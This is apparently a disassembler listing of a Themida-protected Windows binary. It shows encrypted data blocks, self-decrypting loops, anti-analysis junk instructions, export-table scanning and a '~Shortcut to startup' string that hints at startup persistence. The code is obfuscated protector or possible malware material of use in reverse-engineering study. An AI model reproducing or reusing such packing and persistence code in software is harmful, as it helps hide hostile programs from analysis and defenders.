		dd 30263CF4h, 0B8967h, 0C4B60BFEh, 50320201h, 0BBBBFF8Ah
		dd 3026A55Ch, 503B8182h, 0B6BFE5BAh, 0B33DF938h, 36320934h
		dd 0DE67046Bh, 36320202h, 6BF15C21h, 3216EC88h,	32160480h
		dd 36322015h, 7AF14544h, 363218E8h, 6DC1E101h, 751AB2C3h
		dd 795BD669h, 8FE9A196h, 30B44F2Bh, 1F322001h, 22315594h
		dd 37738307h, 3634830Eh, 83B90201h, 3026289Ch, 0A3B94802h
		dd 302660B8h, 5C37E182h, 35DA4301h, 16320801h, 0BF69C75Ah
		dd 0B736265Dh, 21362545h, 75328001h, 0E4808352h, 0FB3089Ah
		dd 0BD715B91h, 36818D0Eh, 36580401h, 3631EA56h,	69120101h
		dd 4ABBDFC2h, 72B34425h, 36272425h, 61751001h, 0DF6496C2h
		dd 3632040Ah, 3A84A2A7h, 43C99B9Dh, 0DE49A819h,	36324015h
		dd 0B703C474h, 2437CE8Ah, 3197970Fh, 0C14017CEh, 1CCF9446h
		dd 36320AE8h, 4D928101h, 0C168D874h, 0C54EE71Eh, 4FBF9D5Ah
		dd 5C341C4Ch, 35DA5401h, 16320201h, 0BF6AC259h,	0B736A445h
		dd 2E366445h, 76322001h, 3E30D351h, 0BDFFB978h,	3872DD8h
		dd 8E341608h, 36320102h, 0DE64806Bh, 36324002h,	68F17E21h
		dd 32166488h, 32164C80h, 36320415h, 0D4F15447h,	428DE0FEh
		dd 0BF746445h, 22075984h, 36584107h, 3631F852h,	6D120801h
		dd 6ABB5FC2h, 72B30625h, 362B0525h, 65718001h, 8F6B1FC2h
		dd 0BB7FA0C9h, 2F7276BCh, 7EBF8507h, 8E341D42h,	37A08175h
		dd 17CF8432h, 0F9198615h, 0A3BB20C0h, 3026289Ch, 89EA9C67h
		dd 696FB663h, 0B23D00A9h, 3632008Ch, 83BBB428h,	0A4F305E9h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 189567C3h, 8B09E648h, 142BD5BDh, 0E8C38B06h
		dd 0Ah,	7B9E0E03h, 0B3C4D39Bh, 0B70F1613h, 14E95BFBh, 40000000h
		dd 0AFE8C2E3h, 5019EFF9h, 0DA5F2C62h, 0D7087073h, 812D7C89h
		dd 6291C3h, 0CE900h, 0F83C0000h, 0F3B73D9Eh, 5D6186ADh
		dd 0C02BD99Dh, 0B5016060h, 614009Dh, 8E0Fh, 0E9610000h
		dd 10h,	0B00F54D3h, 43D28A3Fh, 86C5B89Ah, 41B6449h, 3148B61h
		dd 1A259589h, 0F2810614h, 538B76E3h, 70A293BEh,	56F28101h
		dd 0F63BA54h, 8Ch, 7AC28100h, 8B674501h, 140665BDh, 8B665206h
		dd 3048FFEh, 3CA6C781h,	0BD896227h, 6140909h, 0E804E883h
		dd 0Fh
dword_59D020	dd 0F5162D95h, 0D97C35A6h, 6C47ADDAh, 0E93BBEBAh, 8, 901BA061h
					; DATA XREF: Themida_:00549FBCo
		dd 70A4975Ch, 40F8815Eh, 0FFFFF9Eh, 0FFFF9085h,	0A6E646FFh
		dd 0A68FFB60h, 0FBAC8935h, 0CA0599F6h, 0E20D6611h, 0A6953511h
		dd 0F3C99835h, 0F6B16DF6h, 2DAD9E33h, 0B2A9A2A8h, 0CC4C0233h
		dd 0A5649535h, 868C6235h, 2FD5F26Ch, 2788BC79h,	0BC886871h
		dd 0E78C2635h, 0E42AD064h, 0EBEA5BCAh, 0A6862D83h, 5D476235h
		dd 54224C51h, 5ADC2B06h, 963DF1B6h, 0D38C2021h,	4731903Ch
		dd 0A68A9D2Fh, 0F5DCDD41h, 0A534A2BEh, 2F8C3131h, 0B296D1B0h
		dd 9C11C133h, 598A3082h, 25D448E6h, 0B2966888h,	0B1F8C433h
		dd 0A5343165h, 2F8C3131h, 0B296D1B0h, 8F11C133h, 598A3081h
		dd 27D448E6h, 12AEC0ECh, 33127D25h, 0A9656D2Dh,	988C3135h
		dd 0FA820921h, 0C9B7A600h, 42233B2Fh, 6607FA96h, 0C05C3E3Ah
		dd 0B7371CB9h, 0EAB7A68h, 0C6083E31h, 0CC8C9836h, 0A5641A35h
		dd 868C2635h, 2FD2D06Bh, 2788AD41h, 0B288E071h,	0E08C6235h
		dd 0A948F263h, 0A68C99B8h, 1B0FB435h, 0A0983D38h, 82081C35h
		dd 0F58C8935h, 0A68CCBDCh, 0ECAC6E35h, 0F493ED93h, 0F969172Dh
		dd 994AB768h, 0A599CF6Ch, 2DEA1335h, 3F1982CCh,	188AD019h
		dd 0A48C4535h, 2B438E3Ah, 0B1FAD7B0h, 0F58C2633h, 0A68C25DDh
		dd 65D73335h, 82D0006Eh, 82C84531h, 0A68C7531h,	65DF7235h
		dd 40B23427h, 10EB618Ah, 0CC5CD93Bh, 0A5644335h, 868C8935h
		dd 2FD4076Dh, 27884671h, 0B2881571h, 0E68C9835h, 0A92B8F65h
		dd 0A68C20B5h, 7B191035h, 238A9D37h, 7C08CBF5h,	0CC8C6235h
		dd 0A5646435h, 868C9835h, 2FD18F68h, 27880259h,	0BF883771h
		dd 0E38C8935h, 0BFC90760h, 8E9FCFDBh, 9F11BA55h, 5A8A8C3Fh
		dd 0F1B4CD54h, 0A977A753h, 0A68C2DB0h, 4B010035h, 2F8AD011h
		dd 0B2820BA0h, 0DE0D5733h, 0A98E9A31h, 0A68E94B1h, 0F08C4C35h
		dd 0A68C10DDh, 65D2A935h, 82F84D6Bh, 82C8E331h,	0A68C2A31h
		dd 65DADE35h, 0A6B5AC02h, 0D4178A70h, 0C00CC5B5h, 0C610B1B4h
		dd 0A6D7413Ah, 0A6E66235h, 0A68FD964h, 0FFAC9835h, 0EA0515F6h
		dd 0E20D2211h, 0A6981711h, 0F7CD8935h, 77079AF6h, 3BB380B4h
		dd 0DE0C64AFh, 23837037h, 0A68C4C18h, 0A68C29DCh, 0C5727E35h
		dd 7AC88907h, 74AD7880h, 4EF7371Dh, 0C006FEB5h,	0A68AE0B4h
		dd 0AC09439Eh, 178C2635h, 0A4C3FA69h, 2DEA8935h, 0A78C7AFDh
		dd 0A1652434h, 948C3135h, 5ABBEF3Ch, 23013F07h,	0A09B507Ah
		dd 5C0DC8B4h, 7673D417h, 4EDAC45Fh, 0A68C6236h,	0F84F6F15h
		dd 0A2A8ECBCh, 0A2A808B4h, 0A68C262Eh, 374F4573h, 9BF363E4h
		dd 23908DDBh, 22086DF5h, 0AD8C3134h, 0B2A505A0h, 0C0B4CD33h
		dd 0A98E2408h, 0A68C2AB0h, 610DEF35h, 540DA010h, 8ACAF2A8h
		dd 0C08A49B4h, 0A9F6C708h, 0A68D94B1h, 0A9DD4635h, 0A68C13BBh
		dd 0B465D035h, 2B8CC435h, 800E8436h, 0AEA687E3h, 605202A4h
		dd 133E04D1h, 27EA4787h, 0A9EC8F0Dh, 0A68CC4B0h, 0A4F44435h
		dd 0E5096DDDh, 0CC8C3135h, 0A564CA35h, 868C4C35h, 2FD6E56Fh
		dd 27883761h, 0BD88AD71h, 0E48CC435h, 910EA167h, 0CAE9F494h
		dd 1B8576E5h, 0A0986920h, 0A0F4A753h, 2383D335h, 0A68C893Bh
		dd 8C4141BCh, 0C4656421h, 268C3134h, 0A6324FC7h, 2FF24D34h
		dd 0B2ADD788h, 0E9099E33h, 5A8A9E43h, 13A514CAh, 0A0984214h
		dd 2283F1B0h, 0A68C988Ah, 4EDC4C5Fh, 0A68C2636h, 0FE4F4B15h
		dd 0A2A8CDBCh, 0A2A880B4h, 0A68C622Dh, 124F6175h, 0DB8AE718h
		dd 0A229C1BEh, 9E0C2021h, 87091CDDh, 268C8935h,	0DE0C6FF2h
		dd 23831130h, 0A68C3121h, 4D53638Ah, 0A1F4CC41h, 54082966h
		dd 1F8C1335h, 0E9C82344h, 29B44553h, 0C2096D30h, 268C3135h
		dd 0A9E49E4Dh, 0A68C16B0h, 6C074035h, 0ADF49253h, 2383ACCAh
		dd 0A68CC47Eh, 4EDE625Fh, 0A68C3136h, 0FC4FC215h, 0A2A818BCh
		dd 0A2A862B4h, 0A68C132Fh, 3C4FDB77h, 20C6D02h,	465330Eh
		dd 0CC8C3135h, 0A564CD35h, 868C4C35h, 2FD1E568h, 27883759h
		dd 0B188AD71h, 0E38CC435h, 0DAD6A160h, 27EA48A1h, 1EA654D6h
		dd 0A68C4C35h, 4EDA265Fh, 0A68C1336h, 0F84FD715h, 0A2A8B0BCh
		dd 0A2A826B4h, 0A68C312Eh, 244FCE73h, 0CBB6FF08h, 262A48FBh
		dd 0AA658FC7h, 0F68C8935h, 849E55C5h, 7A7690CAh, 4F94F826h
		dd 0A68C9876h, 4ED94C5Fh, 0A68C2636h, 0FB4F4E15h, 0A2A8E5BCh
		dd 0A2A880B4h, 0A68C6220h, 7C4F6470h, 2D83F898h, 0A68C4C33h
		dd 0A68CAF3Ah, 670D1335h, 0D10A1B02h, 0A00CCB54h, 2D8C6235h
		dd 0B295D8A0h, 0A68D2033h, 36754C35h, 0AE644665h, 9D8C1335h
		dd 4DFD7F03h, 4EA9F5F5h, 0A68C6232h, 640E1B25h,	0F94B34A4h
		dd 6C072A6Bh, 650DB654h, 9BE66C8Ch, 0E2E634B8h,	2B01C22Ch
		dd 0A0952B58h, 0C0D9128Dh, 0A7099B42h, 8D8A582Ch, 34A632FAh
		dd 882FF24Dh, 33B2ADD7h, 43E9099Eh, 0CA5A8A9Eh,	1413A514h
		dd 0B0A09842h, 0F305E983h, 0B96658A4h, 66508CDFh, 0F5FD68Bh
		dd 888h, 9D8B5000h, 6140BF5h, 0B59D8B59h, 0B06142Ch, 4F840FC0h
		dd 8B000000h, 1431959Dh, 79B58D06h, 0BF06144Dh,	31C5AD5Dh
		dd 3B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F04E12Dh, 0D8Ch,	8E900h,	86310000h
		dd 0B989DAFDh, 0E6FF4E98h, 4DBD8Bh, 80400614h, 0C08B52E2h
		dd 1941958Bh, 0BD830614h, 61430B1h, 83097500h, 141AE1BDh
		dd 19740006h, 0C08B5350h, 403B8h, 0C1858900h, 8D061430h
		dd 16B7A19Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
		dd 403B8h, 0C1858900h, 8D061430h, 16B4429Dh, 5BD3FF06h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0E9F88D40h, 0F51D38B4h, 9D337C5Bh, 6140F6Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E8C35141h
		dd 2A75BDF2h, 6E3A9AB5h, 0F98B665Ah, 223DBD8Bh,	0C08B0614h
		dd 6CE1B966h, 448D8D61h, 8906194Bh, 141B71B5h, 298D8906h
		dd 0B4061432h, 4D85C721h, 0F0061406h, 6A00006Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8981C357h, 1422358Dh, 7185C706h, 61426h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 2914C351h, 14265995h, 19B5FF06h, 0F061423h
		dd 485h, 68B86600h, 6195FF4Fh, 0B8061423h, 50B34740h, 95FF006Ah
; ---------------------------------------------------------------------------


loc_59D720:				; DATA XREF: Themida_:0054AE14o
		imul	edx, [ecx], 0C08B0614h
		jmp	short loc_59D746
; ---------------------------------------------------------------------------
		dd 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 22FA2CDh, 0B1D28087h
		dd 0A8DA9290h, 0A9BE38FFh
		db 69h,	0F9h
; ---------------------------------------------------------------------------


loc_59D746:				; CODE XREF: Themida_:0059D726j
		lea	ecx, [ebp+6194C00h]
		mov	[ebp+61413DDh],	esi
		mov	[ebp+6143229h],	ecx
		push	0
		push	ebx
		call	sub_59D763
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D763	proc near		; CODE XREF: Themida_:0059D75Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_59D763	endp

; ---------------------------------------------------------------------------
		db 0FEh
		dd 0F1214DB3h, 0C3BF0F6Eh, 64D85C7h, 71700614h,	0BD8B0000h
		dd 614109Dh, 267185C7h,	614h, 0BD8B0000h, 6142D05h, 0D49B5FFh
		dd 95010614h, 6140E15h,	236195FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 8C20FEC3h
		dd 0F2C36B70h, 820FD5F6h, 0
; ---------------------------------------------------------------------------
		push	0
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_59D82D
; ---------------------------------------------------------------------------
		dd 8B3BD6B5h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h
		dd 0B6C16A88h, 63C9AC73h, 0BB864767h, 29C3B808h, 0E7368A6Bh
		dd 7BD3E0D1h, 406561FEh, 0C32A9319h, 3900823h, 0B1277CFBh
		dd 852A6553h, 28637CD7h, 151CD69Ch
		db 0BEh
; ---------------------------------------------------------------------------


loc_59D82D:				; CODE XREF: Themida_:0059D7E2j
		call	sub_59D83A


loc_59D832:				; DATA XREF: Themida_:00549B14o
		inc	edi
		rcr	byte ptr [esi],	cl
		shl	edx, 0C2h
		mov	cl, 0E0h

; =============== S U B	R O U T	I N E =======================================



sub_59D83A	proc near		; CODE XREF: Themida_:loc_59D82Dp
		cld
		pop	esi
		add	[ebp+6140F35h],	esi
		add	esi, 748Bh
		sub	[ebp+614038Dh],	edi
		mov	eax, 0
		cld


loc_59D854:				; CODE XREF: sub_59D83A+64j
		mov	edi, [esi+eax]
		sub	dh, 0FCh
		xor	edi, 7D2E7CA9h
		xor	ecx, [ebp+61431A5h]
		add	edi, 66ABE377h
		mov	ecx, [ebp+614263Dh]
		xor	edi, 38D16957h
		xor	ecx, [ebp+6142FB9h]
		mov	[esi+eax], edi
		add	ebx, [ebp+6142C41h]
		mov	cl, 13h
		sub	eax, 4
		jz	loc_59D898
		add	[ebp+6141111h],	ecx


loc_59D898:				; CODE XREF: sub_59D83A+52j
		cmp	eax, 0FFFF8BE4h
		jnz	loc_59D854
		cmc
		call	sub_59D8B6
		mov	bh, 0Dh
		db	64h
		pop	edi
		retn	1A8Ch
sub_59D83A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0DCh, 33h, 75h
		db 40h,	89h

; =============== S U B	R O U T	I N E =======================================



sub_59D8B6	proc near		; CODE XREF: sub_59D83A+6Bp
		mov	[ebp+61405B1h],	edi
		pop	ecx
		mov	ebx, [ebp+6142115h]
		add	ecx, 6E48h
		mov	edx, 47DE1423h
		xor	edx, 47DE0F7Dh
		mov	esi, [ebp+614150Dh]


loc_59D8DA:				; CODE XREF: Themida_:0059D969j
		mov	edi, [ecx]
		mov	[ebp+6140041h],	esi
		xor	edi, 3D20CE8Ah
		mov	ebx, [ebp+61434A5h]
		add	edi, 6B5A1B8Ch
		mov	ebx, edi
		add	edi, 52857F22h
		ja	loc_59D903
		stc


loc_59D903:				; CODE XREF: sub_59D8B6+46j
		push	edi
		pusha
		push	edi
		call	near ptr loc_59D914+1
		inc	ebp
		pop	edi
		std
		stc
		or	eax, 0C0BAB666h


loc_59D914:				; CODE XREF: sub_59D8B6+50p
		db	36h
		pop	eax
sub_59D8B6	endp ; sp-analysis failed

		pop	ecx
		cld
		popa
		pop	dword ptr [ecx]
		mov	[ebp+61400EDh],	ecx
		sub	ecx, 0F55603Ch
		jb	loc_59D933
		or	[ebp+6143195h],	ebx


loc_59D933:				; CODE XREF: Themida_:0059D927j
		add	ecx, 0F556038h
		jmp	loc_59D94A
; ---------------------------------------------------------------------------
		dw 0B64Ch
; ---------------------------------------------------------------------------
		adc	[esi+45785B31h], bh
		xchg	eax, esp
		add	[esi+9], dl


loc_59D94A:				; CODE XREF: Themida_:0059D939j
		sub	edx, 1
		jnz	loc_59D967
		and	ax, 9B6Ch
		jmp	loc_59D97E
; ---------------------------------------------------------------------------
		db 0D7h, 7Ch, 63h
; ---------------------------------------------------------------------------
		sub	[esi+edx*8-341EAE4h], bl


loc_59D967:				; CODE XREF: Themida_:0059D94Dj
		mov	esi, edi
		jmp	loc_59D8DA
; ---------------------------------------------------------------------------
		dw 8562h
		dd 0D89F0BDFh, 0B70B371Ch, 4A7AD181h
		db 0E8h, 67h
; ---------------------------------------------------------------------------


loc_59D97E:				; CODE XREF: Themida_:0059D958j
					; DATA XREF: Themida_:00548CCCo
		lea	ecx, [ebp+6194E2Dh]
		or	bx, 23A6h
		mov	[ebp+6143229h],	ecx
		mov	di, dx
		sub	edi, [ebp+61406BDh]
		mov	dword ptr [ebp+614064Dh], 5E20h
		push	ecx
		jnb	loc_59D9AF
		mov	[ebp+61400C1h],	ebx


loc_59D9AF:				; CODE XREF: Themida_:0059D9A3j
		pop	eax
		jno	loc_59D9BC
		mov	eax, [ebp+6143129h]


loc_59D9BC:				; CODE XREF: Themida_:0059D9B0j
		mov	dword ptr [ebp+6142671h], 0
		push	0
		push	edi
		call	sub_59D9D1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59D9D1	proc near		; CODE XREF: Themida_:0059D9C9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_59D9D1	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		sahf
		db	2Eh
		pusha
		cld
		sbb	edx, 463D7096h
		popa
		push	dword ptr [ebp+6141071h]
		mov	[ebp+6142A39h],	ecx
		call	dword ptr [ebp+6142361h]
		or	[ebp+6141B1Dh],	edx
		push	0


loc_59DA07:				; DATA XREF: Themida_:0054B618o
		call	dword ptr [ebp+6141169h]
		mov	eax, eax
		jmp	short loc_59DA20
; ---------------------------------------------------------------------------
		db 64h,	0F7h, 79h
		dd 8E91436h, 512E1B66h,	3935253Fh
; ---------------------------------------------------------------------------


loc_59DA20:				; CODE XREF: Themida_:0059DA0Fj
		jmp	loc_59DAD5
; ---------------------------------------------------------------------------
		pusha
		mov	dx, ds
		test	dl, 4
		jnz	loc_59DA3E
		cmp	eax, [ebp+6141145h]
		jz	loc_59DA74


loc_59DA3E:				; CODE XREF: Themida_:0059DA2Cj
		cmp	eax, [ebp+6140931h]
		jz	loc_59DA74
		cmp	eax, [ebp+6143481h]
		jz	loc_59DA74
		cmp	eax, [ebp+61431FDh]
		jz	loc_59DA74
		cmp	dword ptr [ebp+6142C59h], 1
		jz	loc_59DA74
		jmp	loc_59DAD3
; ---------------------------------------------------------------------------


loc_59DA74:				; CODE XREF: Themida_:0059DA38j
					; Themida_:0059DA44j ...
		mov	edx, eax
		add	edx, [edx+3Ch]
		mov	edi, [edx+88h]
		mov	ecx, [edx+78h]
		test	ecx, ecx
		jz	loc_59DAD3
		add	edx, 0F8h
		mov	esi, [edx+0Ch]
		add	ecx, eax
		mov	ebx, [ecx+1Ch]
		mov	edx, [ecx+14h]
		add	ebx, eax


loc_59DA9D:				; CODE XREF: Themida_:0059DABBj
		mov	ecx, [ebx]
		test	ecx, ecx
		jz	loc_59DAB7
		cmp	ecx, esi
		jb	loc_59DAC6
		cmp	ecx, edi
		jnb	loc_59DAC6


loc_59DAB7:				; CODE XREF: Themida_:0059DAA1j
		add	ebx, 4
		dec	edx
		jnz	loc_59DA9D
		jmp	loc_59DAD3
; ---------------------------------------------------------------------------


loc_59DAC6:				; CODE XREF: Themida_:0059DAA9j
					; Themida_:0059DAB1j
		lea	ebx, [ebp+6144D79h]
		mov	eax, 5
		jmp	ebx
; ---------------------------------------------------------------------------


loc_59DAD3:				; CODE XREF: Themida_:0059DA6Fj
					; Themida_:0059DA84j ...
		popa
		retn
; ---------------------------------------------------------------------------


loc_59DAD5:				; CODE XREF: Themida_:loc_59DA20j
		or	edx, eax
		lea	ebx, [ebp+6142E5Dh]
		mov	eax, 2Ah
		mov	[ebp+614265Dh],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_59DB24
; ---------------------------------------------------------------------------
word_59DAFA	dw 0			; DATA XREF: Themida_:0054BA3Co
		dd 9 dup(77E6h), 0FFFF77E6h
; ---------------------------------------------------------------------------


loc_59DB24:				; CODE XREF: Themida_:0059DAF5j
		call	sub_59DB3D
		inc	esi
		adc	al, 0F9h
		xchg	eax, esi
		das
		db	36h
		mov	dl, 3
		fisttp	qword ptr [eax]
		call	far ptr	5DF6h:8A2B001Fh
		int	3		; Trap to Debugger
		push	es
		cld

; =============== S U B	R O U T	I N E =======================================



sub_59DB3D	proc near		; CODE XREF: Themida_:loc_59DB24p

var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h

; FUNCTION CHUNK AT 0055D2A6 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0055EDD0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055F46F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005604E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005613D2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564C9E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565171 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566AEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005697D7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A3A8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056A7B7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AB8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BFB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056BFE1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056C225 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C717 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056CA75 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005701F9 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005705C6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570B64 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570CF1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00570DE7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571354 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005718B3 SIZE 0000000F BYTES

		mov	ah, 36h
		pop	esi
		mov	ah, bh
		add	esi, 69E8h
		mov	al, bl
		push	1A4Eh
		push	ebx
		add	ebx, 75841C84h
		pop	eax
		pop	edx
		jmp	loc_59DB71
; ---------------------------------------------------------------------------
		or	[edx-63C8E804h], ecx
		xlat
		lea	esi, ds:81403D91h
		add	al, 74h
		cmp	eax, 21B46085h


loc_59DB71:				; CODE XREF: sub_59DB3D+1Bj
					; sub_59DB3D+8Bj
		mov	edi, [esi]
		jmp	loc_59DB82
; ---------------------------------------------------------------------------
		dd 222462D8h, 33F04211h
		db 0C9h, 78h
; ---------------------------------------------------------------------------


loc_59DB82:				; CODE XREF: sub_59DB3D+36j
		sub	edi, 501DA5D9h
		jmp	loc_59DB95
; ---------------------------------------------------------------------------
		db 7Eh,	0EBh, 77h
		dd 67BAE7F9h
		db 74h
; ---------------------------------------------------------------------------


loc_59DB95:				; CODE XREF: sub_59DB3D+4Bj
		sub	edi, 62D57155h
		mov	ecx, edi
		xor	edi, 7DD0EAF2h
		mov	bx, 883Ah
		mov	[esi], edi
		jmp	loc_59DBB5
; ---------------------------------------------------------------------------
		les	eax, [eax]
		db	26h
		and	al, 66h
		call	dword ptr [esi]


loc_59DBB5:				; CODE XREF: sub_59DB3D+6Cj
		sub	esi, 1
		sbb	cl, 0C6h
		dec	esi
		dec	esi
		dec	esi
		pusha
		mov	di, 7Eh
		mov	bx, dx
		popa
		dec	edx
		jnz	loc_59DB71
		pusha
		or	dx, 0F29Ch
		push	edx


loc_59DBD5:				; DATA XREF: Themida_:0054A294o
		jp	$+6
		pop	edx
		popa
		jmp	loc_59DC56
; ---------------------------------------------------------------------------
		dw 117Ah
		db  19h
aShortcutToStar	db '~Shortcut to startup',0
		align 4
		dd 16h dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DC56:				; CODE XREF: sub_59DB3D+A0j
		jmp	loc_59EBC4
; ---------------------------------------------------------------------------
		push	6195219h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	6195356h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	61954BAh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	61954F9h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	61955B9h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	619566Bh
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	6195A92h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	6195D15h
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	6195E5Ah
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		db 0AFh, 5Dh, 15h
		dd 98D23044h, 1D4DB3C7h, 9FC9384Ch, 264CBACEh, 0AE9B4055h
		dd 35491A58h, 0BDD1A2CEh, 43572848h, 79DBACBCh,	4A049834h
		dd 29873046h, 0C489ECE4h, 0A3DB9570h, 659EF52Ch, 4226D9E7h
		dd 0AEBA4589h, 0F0F109DDh, 2AA8912Dh, 3CCD3410h, 0F18D1083h
		dd 3041295Dh, 8A164FE0h, 304129F2h, 5B0660C6h, 6FA748B8h
		dd 65ABh, 56AAAD00h, 5FF38FAFh,	0DA2A2CF9h, 7D80B849h
		dd 0B3AC10CCh, 2F474B84h, 96CF6B2Eh, 0DB341103h, 912FBEA3h
		dd 0B0E80252h, 0EF12123Fh, 0F1B445AFh, 0CE07639Dh, 0E141D965h
		dd 33D33041h, 0C042863Fh, 0B3C9F1AAh, 115FA4B3h, 0AEC82E80h
		dd 71CD368Ah, 41E141D5h, 9A2BBC30h, 2D67A0E1h, 6FA8038Ah
		dd 0B87Dh, 26D97F00h, 0C2168942h, 0AEF22B3Dh, 1D611A58h
		dd 89CD86E2h, 0C521F276h, 2A2C0676h, 9A6BFD02h,	6CFC0357h
		dd 0F53972B3h, 32A55E0Ah, 0FD7F13AFh, 69FA2A2Ch, 13142C30h
		dd 23E3B450h, 0D5663410h, 7C9C104h, 0CB5FFBF4h,	4E30410Ch
		dd 4ABE85BDh, 41D29669h, 0EBEC0408h, 2D2A8C28h,	0D0613A28h
		dd 254DB90Dh, 0ACC64054h, 0BB46BCE3h, 9CEA65E0h, 0D1Eh
		dd 87581AF2h, 0ADB8F73h, 8F600AF6h, 11E2867Bh, 986909FDh
		dd 15F15E83h, 8B788C5Dh, 50014E5h, 79869A6Bh, 77BC1EEFh
		dd 464C47DBh, 1464C230h, 82452DD9h, 0DC95D32Eh,	0CDE1629Bh
		dd 9ED23332h, 4213A4E5h, 0CE0119F4h, 2CF99E32h,	0FF90212Ah
		dd 2067A03Ch, 76CA3410h, 0E92AE38Dh, 7C0B055h, 0A93A8DC6h
		dd 13CC64F0h, 3AA03041h, 8A04FC3Ch, 2DBBDBC3h, 0E78AC4FDh
		dd 0DA6FA7ADh, 0F6h, 4226D9DCh,	94D42B7Fh, 58AEF25Bh, 214E6E73h
		dd 0ED12369Fh, 0F081C27Bh, 0EC7A95Ch, 81793CCDh, 7D882691h
		dd 0C1F93AF3h, 23B326E0h, 97C4EEB9h, 56EA738h, 2CD52A79h
		dd 97D12E2Ah, 0E94DB2C6h, 2DC4B94Dh, 5FA0342Ah,	7E0F5009h
		dd 2CD62AEDh, 0BC9D853Eh, 0A013D75Dh, 0EA538C1Dh, 8BDF2377h
		dd 545891D2h, 0A2CB383Ch, 14550E64h, 932FF283h,	3410F6C2h
		dd 9ACE33C7h, 4C643809h, 0CF34884Bh, 0C73FD36Fh, 29BA3041h
		dd 659EDF98h, 82E556F2h, 97283A28h, 21B551D4h, 0AB2A2F73h
		dd 0AC6F1256h, 2F727C10h, 0DD6EFF2Ah, 29DD31A4h, 0A2647849h
		dd 0F49E07D0h, 9C17E0BBh, 0BE14Eh, 95DD2F00h, 1852B0C4h
		dd 9DCD3347h, 1F49B8CCh, 0A6CC3A4Eh, 2E1BC0D5h,	0B5C99AD8h
		dd 3D51224Eh, 0C3D7A8C8h, 0F95B2C3Ch, 4C8418B4h, 0A9073046h
		dd 452DD959h, 0C99F6074h, 26D9AAF8h, 0BA458942h, 0F109DDAEh
		dd 912DF0h, 85341025h, 17AF3BF4h, 0EB30411Dh, 0DD80E185h
		dd 8A6FA73Fh, 0A6D6D792h, 114A86D2h, 7E4h, 37CFE600h, 0FF000008h
		dd 3D000119h, 0B7CA2C45h, 0A8E0A096h, 2AA953E8h, 0E45790BAh
		dd 10EDF748h, 20D96A34h, 744523DCh, 2229F60h, 0BDF2D317h
		dd 87FAB344h, 110B7E8Fh, 8CC5F96Fh, 0F4F18E00h,	3D398D99h
		dd 0D093D52Ah, 2DE6847Ch, 9A5317E9h, 0E8FC859h,	0AA6305FAh
		dd 7DE7851Eh, 7EF85C8Bh, 0B64F16E9h, 51393E13h,	0D9E5684h
		dd 867F1354h, 748859EAh, 0B124DD8Bh, 0FC8A85Dh,	6C0995CEh
		dd 9A8B7D47h, 4AB5A2C4h, 0C6394D1Eh, 520B679Fh,	0C3C78011h
		dd 4BE7AAABh, 0D2BFCAFAh, 0E40DDE6Fh, 40415925h, 0B020E17Dh
		dd 9425CCCBh, 680487BCh, 0C8DC84D4h, 18DC657h, 0AACD64D6h
